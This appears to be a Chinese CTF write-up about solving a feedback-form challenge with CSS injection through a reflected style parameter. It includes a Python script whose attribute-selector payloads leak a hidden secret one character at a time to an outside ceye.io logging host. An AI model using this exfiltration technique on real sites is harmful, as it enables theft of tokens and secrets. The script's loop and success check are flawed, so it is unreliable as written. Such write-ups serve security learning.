继续是校赛题,这题我们进去看到一个留言框,然后题目提示写下建议,管理员会去看的,结合题目,确定是反射型xss了,尝试一下插入一下js语句进留言板,发现没反应,看下源码发现尖括号被转义了………
emmm………看来想直接简单粗暴的利用是不行的了,继续回去上一页看一下,看见有个选择框,可以选择字体的样式,抓下包改下值成1212,发现在下一个页面的style属性里面有1212………..
嗯,这波操作有丶东西,style属性里面的语句可控,就可以搞事情了,因为现在的浏览器版本比较高,尝试了一下直接利用js伪代码发现不行,只能一个个匹配然后弹回去自己的平台
最后脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import requests strs = "0123456789_qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM" url = "http://laohulaohuhu.cn:32772/" flag = "" flag0 = "" for ch in strs: flag = flag0 + ch print("trying "+ flag) key = {'feedback':'111','style':'#secret[value^="' + flag + '"]{background: url(\'http://abcdef.ceye.io/?xss=' + flag + '\');}'} r = requests.post(url=url,data=key) if r.status_code == 200: print flag flag0 = flag print(flag0)
|
剩下的可以去自己的平台看一下有没有打到,flag也能出来了